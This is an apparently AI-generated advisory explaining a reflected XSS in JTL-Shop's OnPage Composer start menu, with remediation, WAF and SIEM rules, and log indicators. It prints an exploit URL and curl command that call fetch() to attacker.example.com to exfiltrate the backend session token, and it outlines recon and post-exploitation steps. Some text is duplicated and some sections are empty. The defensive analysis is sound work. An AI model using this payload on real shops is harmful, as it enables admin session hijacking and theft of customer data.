CVE-2026-133939 — CWE-79
The OPC (OnPage Composer) start menu, which JTL-Shop shows to logged-in backend users on storefront pages, writes the current page identifier (which contains the search term on search pages) and further values into single-quoted JavaScript strings without escaping. A single quote in the search term terminates the string. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a backend user who opens a crafted link while logged in to the backend in the same browser; the code runs with the privileges of that user and can use the backend session token contained in the same script to send requests to the backend. Visitors and customers do not receive the start menu and are not affected.
The OPC (OnPage Composer) start menu, which JTL-Shop shows to logged-in backend users on storefront pages, writes the current page identifier (which contains the search term on search pages) and further values into single-quoted JavaScript strings without escaping. A single quote in the search term terminates the string. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a backend user who opens a crafted link while logged in to the backend in the same browser; the code runs with the privileges of that user and can use the backend session token contained in the same script to send requests to the backend. Visitors and customers do not receive the start menu and are not affected.
🎯 What is this vulnerability?
Vulnerability type – Reflected Cross‑Site Scripting (XSS) in the OnPage Composer (OPC) start‑menu component of JTL‑Shop.
CWE – CWE‑79 (Improper Neutralization of Input During Web Page Generation).
Root cause –
When a backend user (i.e. an administrator or shop manager) is logged‑in to the JTL‑Shop back‑office, the OPC start‑menu is rendered on every storefront page. The menu is built by a server‑side template that injects several values into a single‑quoted JavaScript string:
<script>
var startMenu = {
pageId: '{{CURRENT_PAGE_ID}}',
token: '{{BACKEND_SESSION_TOKEN}}',
// …
};
</script>The template does not escape the value of {{CURRENT_PAGE_ID}}. On a search results page the page identifier contains the user‑supplied search term (e.g. search?q=foo). If the search term includes a single‑quote ('), the generated JavaScript string is terminated early, and the remainder of the attacker‑controlled payload is interpreted as executable code.
Because the menu is only shown to authenticated backend users, the attacker does not need to be logged in; they only need to convince a logged‑in admin to open a crafted URL. The XSS is reflected (the payload is reflected back in the response) and DOM‑independent – the malicious script runs as soon as the page is parsed, before any user interaction.
Missing protection
| Missing step | Why it matters |
|---|---|
Proper output encoding for JavaScript string literals (e.g. json_encode with JSON_HEX_APOS or a dedicated JS‑string escaper) | Prevents injection of characters that terminate the literal. |
Content‑Security‑Policy (CSP) that disallows inline script execution (script-src 'self') | Would mitigate the impact even if injection occurs. |
| SameSite/HttpOnly flags on the backend session cookie (although JTL‑Shop already uses them, the XSS still gives the attacker direct access to the token in the page source). | Reduces risk of cookie theft via other vectors, but does not stop this XSS. |
The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) confirms:
- Network‑only attacker (no authentication required).
- Low attack complexity – a single crafted URL.
- User interaction required – the victim must click/open the link while logged‑in.
- High confidentiality & integrity impact – the attacker can read the backend session token and perform arbitrary actions on behalf of the admin.
- No availability impact – the flaw does not cause denial‑of‑service.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All code snippets are illustrative – the exact endpoint name (/search) and parameter (q) are inferred from the description (“search term on search pages”) and may differ in a concrete installation.
1. Discovery & Reconnaissance
| Activity | How it is performed |
|---|---|
| Identify target software | Search public sites, job postings, or “Powered‑by JTL‑Shop” footers. Use Shodan/ZoomEye to locate IPs that expose a JTL‑Shop storefront. |
| Determine version | Grab /admin/login page, inspect HTML comments, or request /admin/version.php (if publicly accessible). Many shops expose the version in a meta tag: <meta name="generator" content="JTL-Shop 5.2.3">. |
| Verify presence of OPC start‑menu | Log in to the backend (or ask a collaborator with a test account) and open any storefront page (e.g., /search?q=test). View page source; the start‑menu script block will be present and contain pageId: and token: fields. |
| Test for XSS | Append a single‑quote to the search term and observe the rendered source. Example: https://shop.example.com/search?q=test'. If the response contains an unescaped ' inside the JavaScript string, the site is vulnerable. |
2. Exploitation
Goal: Execute arbitrary JavaScript in the context of an authenticated backend user and steal the backend session token.
Payload construction – The attacker wants to break out of the single‑quoted string and inject a script that sends the token to a remote server.
https://shop.example.com/search?q=';fetch('https://attacker.example.com/steal?token='+document.querySelector('script').innerHTML)%3b//Explanation of the payload
| Part | What it does |
|---|---|
' | Closes the original ' that started the pageId value. |
; | Terminates the now‑broken JavaScript statement. |
fetch('https://attacker.example.com/steal?token='+document.querySelector('script').innerHTML) | Sends the entire page source (which includes the token: field) to the attacker’s server. |
%3b// | URL‑encoded semicolon (;) to end the injected statement cleanly and comment‑out the rest of the original script. |
Full illustrative request (curl)
curl -G "https://shop.example.com/search" \
--data-urlencode "q=';fetch('https://attacker.example.com/steal?token='+document.querySelector('script').innerHTML)%3b//"Note: The exact query‑parameter name (q) and endpoint (/search) are illustrative; any parameter that ends up in the page identifier is exploitable.
Delivery to the victim
When the logged‑in admin clicks the link, the browser parses the response, executes the injected fetch() call, and the attacker receives the backend session token (JTL-Backend-Token or similar) in the query string.
3. Post‑exploitation
1. Session hijacking – The attacker now possesses a valid backend session token. By replaying the token in a new browser session (e.g., setting the Cookie: JTL-Backend-Token=... header), the attacker gains full admin privileges.
2. CSRF‑style actions – Even without replaying the cookie, the attacker can use the stolen token to craft authenticated AJAX requests directly from the victim’s browser (the fetch call can be extended to perform destructive actions, such as creating a new admin user, exporting the customer database, or installing a malicious plugin).
3. Persistence – The attacker can create a new backend user with a known password, install a back‑door plugin, or modify the shop’s template files to embed a permanent XSS vector.
4. Data exfiltration – With admin rights, the attacker can download order data, customer personal data, or financial reports, violating GDPR/PCI‑DSS obligations.
🌍 Real‑World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C) | High – The attacker can read the backend session token and, via that token, any data the admin can access (customer PII, order history, payment details). |
| Integrity (I) | High – The attacker can issue arbitrary backend requests, modify product catalogs, change prices, create fraudulent orders, or add malicious code to the storefront. |
| Availability (A) | None – The flaw does not cause service disruption. |
Practical consequences
🛡️ Remediation & Mitigation
1. Vendor‑provided fix
json_encode($pageId, JSON_HEX_APOS | JSON_HEX_QUOT)). 2. Immediate work‑arounds (if patch cannot be applied instantly)
| Work‑around | How to implement |
|---|---|
| Disable the OPC start‑menu for backend users | In the JTL‑Shop admin panel, navigate to *Settings → Extensions → OnPage Composer* and set “Show start‑menu in storefront” to Off. |
| Restrict access to the storefront for logged‑in backend sessions | Add a rule to the web server that blocks requests containing a backend session cookie (JTL-Backend-Token) from reaching the public storefront. Example (Apache mod_rewrite):<br>RewriteCond %{HTTP_COOKIE} JTL-Backend-Token=.+<br>RewriteRule ^/ - [F] |
| Content‑Security‑Policy (CSP) | Deploy a CSP that disallows inline scripts: <br>Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; <br> This will cause the injected script to be blocked, though the token will still be visible in the page source. |
| Sanitize the search term on the client side (defense‑in‑depth) | Add a small JavaScript snippet that replaces single quotes in the URL before the page is rendered: <br>if (location.search.includes("'")) { location.search = location.search.replace(/'/g, "%27"); } |
3. WAF / ModSecurity rule (example)
# ModSecurity rule to detect reflected single‑quote injection in the "q" parameter
SecRule ARGS:q "@rx ['\"]" \
"id:2026133939,\
phase:2,\
block,\
t:none,\
msg:'Potential reflected XSS via OPC start‑menu (CVE‑2026‑133939)',\
logdata:'Matched Parameter %{MATCHED_VAR_NAME}=%{MATCHED_VAR}',\
tag:'application-multi',\
tag:'language-multi',\
tag:'platform-multi',\
tag:'attack-xss',\
severity:'CRITICAL'"Adjust the parameter name (q) to match the actual search field used by the target installation.
4. Detection – Log patterns & IoCs
| Indicator | Example log entry (Apache) |
|---|---|
| Request containing a single‑quote in a search‑related query string while a backend session cookie is present | 192.0.2.45 - - [28/Nov/2026:10:12:34 +0000] "GET /search?q=%27%3Balert%281%29%3B HTTP/1.1" 200 45231 "https://shop.example.com/admin/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/124.0" |
Referrer points to a backend page (/admin/*) but the request is for a public storefront URL | Same as above, Referer: https://shop.example.com/admin/dashboard |
Unexpected outbound fetch/XMLHttpRequest from the victim’s browser to an attacker‑controlled domain (visible in a proxy or network IDS) | GET https://attacker.example.com/steal?token=JTL-Backend-Token=abcd1234... HTTP/1.1 |
SIEM rule (generic)
SELECT *
FROM web_access_logs
WHERE uri_path LIKE '/search%'
AND http_user_agent NOT LIKE '%bot%'
AND http_cookie LIKE '%JTL-Backend-Token=%'
AND (uri_query LIKE "%'%"
OR uri_query LIKE "%\"%")Alert on any match – it indicates a possible XSS attempt targeting an authenticated admin.
⚠️ Urgency
Bottom line: This is a classic reflected XSS that gives an unauthenticated attacker full control over a privileged backend session. Immediate patching, combined with defense‑in‑depth (CSP, WAF, and disabling the vulnerable UI component), is essential to prevent session hijacking and subsequent compromise of the entire JTL‑Shop installation.
[🤖 CVE Professor AI Security Engine]